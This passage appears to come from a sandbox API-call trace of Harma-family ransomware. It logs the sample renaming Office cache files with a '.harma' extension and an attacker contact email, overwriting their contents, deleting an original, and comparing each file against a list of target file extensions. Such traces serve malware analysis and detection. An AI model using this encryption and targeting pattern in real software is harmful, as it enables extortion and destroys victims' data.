returned 1 [0050.194] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0050.194] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0050.194] GetLastError () returned 0x0 [0050.194] ReadFile (in: hFile=0x170, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x35ffed4*=0xd4200, lpOverlapped=0x0) returned 1 [0050.219] WriteFile (in: hFile=0x1f8, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x35ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x35ffc9c*=0xd4210, lpOverlapped=0x0) returned 1 [0050.542] ReadFile (in: hFile=0x170, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x35ffed4*=0x0, lpOverlapped=0x0) returned 1 [0050.542] WriteFile (in: hFile=0x1f8, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x35ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0050.542] SetEndOfFile (hFile=0x1f8) returned 1 [0050.542] CloseHandle (hObject=0x1f8) returned 1 [0050.553] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0050.553] SetEndOfFile (hFile=0x170) returned 1 [0050.562] CloseHandle (hObject=0x170) returned 1 [0050.562] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0050.563] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi")) returned 1 [0050.563] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0050.563] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0050.563] lstrlenW (lpString=".doc") returned 4 [0050.563] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0050.563] lstrlenW (lpString=".docx") returned 5 [0050.563] lstrcmpiW (lpString1=".docx", lpString2="g.msi") returned -1 [0050.563] lstrlenW (lpString=".pdf") returned 4 [0050.563] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0050.563] lstrlenW (lpString=".xls") returned 4 [0050.563] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0050.563] lstrlenW (lpString=".xlsx") returned 5 [0050.563] lstrcmpiW (lpString1=".xlsx", lpString2="g.msi") returned -1 [0050.563] lstrlenW (lpString=".ppt") returned 4 [0050.563] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0050.563] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0050.563] lstrlenW (lpString=".zip") returned 4 [0050.563] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0050.563] lstrlenW (lpString=".rar") returned 4 [0050.564] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0050.564] lstrlenW (lpString=".bz2") returned 4 [0050.564] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0050.564] lstrlenW (lpString=".7z") returned 3 [0050.564] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0050.564] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0050.564] lstrlenW (lpString=".dbf") returned 4 [0050.564] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0050.564] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0050.564] lstrlenW (lpString=".1cd") returned 4 [0050.564] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0050.564] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0050.564] lstrlenW (lpString=".jpg") returned 4 [0050.564] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0050.564] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0050.564] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0050.564] lstrlenW (lpString=".doc") returned 4 [0050.564] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0050.564] lstrlenW (lpString=".docx") returned 5 [0050.564] lstrcmpiW (lpString1=".docx", lpString2="g.msi") returned -1 [0050.564] lstrlenW (lpString=".pdf") returned 4 [0050.564] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0050.564] lstrlenW (lpString=".xls") returned 4 [0050.564] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0050.564] lstrlenW (lpString=".xlsx") returned 5 [0050.564] lstrcmpiW (lpString1=".xlsx", lpString2="g.msi") returned -1 [0050.565] lstrlenW (lpString=".ppt") returned 4 [0050.565] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0050.565] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0050.565] lstrlenW (lpString=".zip") returned 4 [0050.565] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0050.565] lstrlenW (lpString=".rar") returned 4 [0050.565] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0050.565] lstrlenW (lpString=".bz2") returned 4 [0050.565] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0050.565] lstrlenW (lpString=".7z") returned 3 [0050.565] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0050.565] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0050.565] lstrlenW (lpString=".dbf") returned 4 [0050.565] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0050.565] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0050.565] lstrlenW (lpString=".1cd") returned 4 [0050.565] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0050.565] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0050.565] lstrlenW (lpString=".jpg") returned 4 [0050.565] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0050.565] lstrcmpiW (lpString1=".cab", lpString2=".harma") returned -1 [0050.566] lstrlenW (lpString="OWOW32LR.cab") returned 12 [0050.566] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.566] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x35fff1c | out: lpFileSize=0x35fff1c*=2928955) returned 1 [0050.566] CloseHandle (hObject=0x170) returned 1 [0050.566] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab")) returned 0x2020 [0050.566] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0050.566] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[gillian.cher@aol.com].harma")) returned 1 [0050.567] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.567] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc6c | out: lpNewFilePointer=0x0) returned 1 [0050.567] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc2c | out: lpNewFilePointer=0x0) returned 1 [0050.567] ReadFile (in: hFile=0x170, lpBuffer=0x3dc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3dc0058*, lpNumberOfBytesRead=0x35ffc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.230] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xee5be, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc2c | out: lpNewFilePointer=0x0) returned 1 [0051.230] ReadFile (in: hFile=0x170, lpBuffer=0x3e00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3e00058*, lpNumberOfBytesRead=0x35ffc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.361] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x35ffc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0051.361] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x28b13b, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc2c | out: lpNewFilePointer=0x0) returned 1 [0051.361] ReadFile (in: hFile=0x170, lpBuffer=0x3e40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3e40058*, lpNumberOfBytesRead=0x35ffc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.416] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0051.417] WriteFile (in: hFile=0x170, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x35ffcb0, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x35ffcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0052.085] SetEndOfFile (hFile=0x170) returned 1 [0052.085] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3fd9e48 [0052.091] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc7c | out: lpNewFilePointer=0x0) returned 1 [0052.091] WriteFile (in: hFile=0x170, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x35ffc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.093] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xee5be, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc7c | out: lpNewFilePointer=0x0) returned 1 [0052.093] WriteFile (in: hFile=0x170, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x35ffc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.100] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x28b13b, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc7c | out: lpNewFilePointer=0x0) returned 1 [0052.100] WriteFile (in: hFile=0x170, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x35ffc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.102] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3fd9e48 | out: hHeap=0x5a0000) returned 1 [0052.102] CloseHandle (hObject=0x170) returned 1 [0052.881] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0052.881] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0052.881] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0052.881] lstrlenW (lpString=".doc") returned 4 [0052.881] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0052.881] lstrlenW (lpString=".docx") returned 5 [0052.881] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0052.881] lstrlenW (lpString=".pdf") returned 4 [0052.881] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0052.881] lstrlenW (lpString=".xls") returned 4 [0052.881] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0052.881] lstrlenW (lpString=".xlsx") returned 5 [0052.881] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0052.881] lstrlenW (lpString=".ppt") returned 4 [0052.882] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0052.882] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0052.882] lstrlenW (lpString=".zip") returned 4 [0052.882] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0052.882] lstrlenW (lpString=".rar") returned 4 [0052.882] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0052.882] lstrlenW (lpString=".bz2") returned 4 [0052.882] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0052.882] lstrlenW (lpString=".7z") returned 3 [0052.882] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0052.882] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0052.882] lstrlenW (lpString=".dbf") returned 4 [0052.882] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0052.882] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0052.882] lstrlenW (lpString=".1cd") returned 4 [0052.882] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0052.882] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0052.882] lstrlenW (lpString=".jpg") returned 4 [0052.882] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0052.882] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0052.882] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0052.882] lstrlenW (lpString=".doc") returned 4 [0052.882] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0052.882] lstrlenW (lpString=".docx") returned 5 [0052.882] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0052.882] lstrlenW (lpString=".pdf") returned 4 [0052.882] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0052.882] lstrlenW (lpString=".xls") returned 4 [0052.882] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0052.882] lstrlenW (lpString=".xlsx") returned 5 [0052.882] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0052.882] lstrlenW (lpString=".ppt") returned 4 [0052.883] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0052.883] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0052.883] lstrlenW (lpString=".zip") returned 4 [0052.883] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0052.883] lstrlenW (lpString=".rar") returned 4 [0052.883] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0052.883] lstrlenW (lpString=".bz2") returned 4 [0052.883] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0052.883] lstrlenW (lpString=".7z") returned 3 [0052.883] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0052.883] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0052.883] lstrlenW (lpString=".dbf") returned 4 [0052.883] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0052.883] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0052.883] lstrlenW (lpString=".1cd") returned 4 [0052.883] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0052.883] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0052.883] lstrlenW (lpString=".jpg") returned 4 [0052.883] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0052.883] lstrcmpiW (lpString1=".cab", lpString2=".harma") returned -1 [0052.883] lstrlenW (lpString="VisioLR.cab") returned 11 [0052.883] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0052.884] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x35fff1c | out: lpFileSize=0x35fff1c*=50823389) returned 1 [0052.884] CloseHandle (hObject=0x170) returned 1 [0052.884] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab")) returned 0x2020 [0052.885] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0052.885] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[gillian.cher@aol.com].harma")) returned 1 [0052.885] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0052.885] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc6c | out: lpNewFilePointer=0x0) returned 1 [0052.885] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc2c | out: lpNewFilePointer=0x0) returned 1 [0052.885] ReadFile (in: hFile=0x170, lpBuffer=0x3dc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3dc0058*, lpNumberOfBytesRead=0x35ffc38*=0x40000, lpOverlapped=0x0) returned 1 [0053.285] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x1028049, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc2c | out: lpNewFilePointer=0x0) returned 1 [0053.285] ReadFile (in: hFile=0x170, lpBuffer=0x3e00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3e00058*, lpNumberOfBytesRead=0x35ffc38*=0x40000, lpOverlapped=0x0) returned 1 [0053.311] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x35ffc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0053.311] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x30380dd, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc2c | out: lpNewFilePointer=0x0) returned 1 [0053.311] ReadFile (in: hFile=0x170, lpBuffer=0x3e40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3e40058*, lpNumberOfBytesRead=0x35ffc38*=0x40000, lpOverlapped=0x0) returned 1 [0053.344] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0053.344] WriteFile (in: hFile=0x170, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x35ffcb0, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x35ffcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0053.540] SetEndOfFile (hFile=0x170) returned 1 [0053.540] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x4019e50 [0053.580] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc7c | out: lpNewFilePointer=0x0) returned 1 [0053.580] WriteFile (in: hFile=0x170, lpBuffer=0x4019e50*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35ffc88, lpOverlapped=0x0 | out: lpBuffer=0x4019e50*, lpNumberOfBytesWritten=0x35ffc88*=0x40000, lpOverlapped=0x0) returned 1 [0053.775] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x1028049, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc7c | out: lpNewFilePointer=0x0) returned 1 [0053.775] WriteFile (in: hFile=0x170, lpBuffer=0x4019e50*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35ffc88, lpOverlapped=0x0 | out: lpBuffer=0x4019e50*, lpNumberOfBytesWritten=0x35ffc88*=0x40000, lpOverlapped=0x0) returned 1 [0053.776] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x30380dd, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc7c | out: lpNewFilePointer=0x0) returned 1 [0053.776] WriteFile (in: hFile=0x170, lpBuffer=0x4019e50*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35ffc88, lpOverlapped=0x0 | out: lpBuffer=0x4019e50*, lpNumberOfBytesWritten=0x35ffc88*=0x40000, lpOverlapped=0x0) returned 1 [0053.779] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4019e50 | out: hHeap=0x5a0000) returned 1 [0053.779] CloseHandle (hObject=0x170) returned 1 [0053.779] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0053.779] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0053.780] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0053.780] lstrlenW (lpString=".doc") returned 4 [0053.780] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0053.780] lstrlenW (lpString=".docx") returned 5 [0053.780] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0053.780] lstrlenW (lpString=".pdf") returned 4 [0053.780] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0053.780] lstrlenW (lpString=".xls") returned 4 [0053.780] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0053.780] lstrlenW (lpString=".xlsx") returned 5 [0053.780] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0053.780] lstrlenW (lpString=".ppt") returned 4 [0053.780] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0053.780] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0053.780] lstrlenW (lpString=".zip") returned 4 [0053.780] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0053.780] lstrlenW (lpString=".rar") returned 4 [0053.780] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0053.780] lstrlenW (lpString=".bz2") returned 4 [0053.780] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0053.780] lstrlenW (lpString=".7z") returned 3 [0053.780] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0053.780] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0053.780] lstrlenW (lpString=".dbf") returned 4 [0053.780] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0053.781] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0053.781] lstrlenW (lpString=".1cd") returned 4 [0053.781] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0053.781] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0053.781] lstrlenW (lpString=".jpg") returned 4 [0053.781] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0053.781] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 